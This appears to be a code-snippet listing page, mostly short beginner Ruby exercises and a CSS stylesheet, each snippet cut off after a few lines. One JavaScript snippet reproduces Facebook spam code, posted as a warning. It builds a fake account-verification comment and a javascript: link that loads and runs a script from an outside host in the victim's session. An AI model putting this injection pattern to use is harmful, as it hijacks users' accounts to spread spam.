This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body { font-family: Helvetica; } | |
#nav { background-color: black; color: white; width: 100%; padding: 3px; font: 15px Arial; } | |
#left { position: absolute; left: 640px; } | |
#header { margin-top: 20px; border: 3px grey; border-style: none none solid none; } | |
#sidepane { border: 3px grey; border-style: none solid solid none; position: absolute; left: 10px; | |
padding: 10px; } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#something like this, it's a snippet : | |
f = File.open("plaintext.txt", "r+") | |
bytes_per_line = f.readline.length+1 | |
f.seek(bytes_per_line*5, IO::SEEK_SET) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def document_to_string(filename) | |
text = '' | |
File.open(filename) do |f| | |
while line = f.gets | |
text << line | |
end | |
end | |
text | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Dog | |
def initialize(name) | |
@name = name | |
end | |
def method_missing(name, *args, &block) | |
command = /(command)_(\w+)/.match(name) | |
if command | |
puts "#{@name} doesn't know to #{command[2]}!" | |
else |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#only quits after three successive BYEs | |
def random_year | |
rand(21) + 1930 | |
end | |
count = 0 | |
while count <= 2 | |
print 'Say something to grandma : ' | |
input = gets.chomp |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
New facebook spam, it's not mine, I posted so that people would be aware. | |
AGAIN, I DIDN'T CREATE THIS. | |
*/ | |
var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process..."; | |
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
var myText = "==>[VERIFY MY ACCOUNT]<=="; | |
var post_form_id = document.getElementsByName('post_form_id')[0].value; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
filename = ARGV | |
input = Array.new | |
output = Array.new | |
File.open(filename.first) do |f| | |
while line = f.gets | |
input << line.chomp!.split(" ") | |
end | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
filename = ARGV | |
fields_and_sizes = [[:track_name, 30], [:artist_name, 30],[:album_name, 30], [:year, 4], [:comment, 30], | |
[:genre, 1]] | |
tag = Hash.new | |
File.open(filename.first) do |f| | |
f.seek(-128, IO::SEEK_END) | |
if f.read(3) == 'TAG' | |
fields_and_sizes.each do |field, size| |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'logger' | |
$LOG = Logger.new('analyzer.log', 'monthly') | |
def document_to_string(filename) | |
$LOG.debug("File name : #{filename}") | |
text = '' | |
begin | |
File.open(filename) do |f| | |
while line = f.gets |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'logger' | |
class TextAnalyzer | |
def initialize(fname) | |
@log = Logger.new('TextAnalyzerClass.log', 'monthly') | |
@log.progname = $0 | |
@text = '' | |
@output = '' | |
File.open(fname) do |f| | |
while line = f.gets |
OlderNewer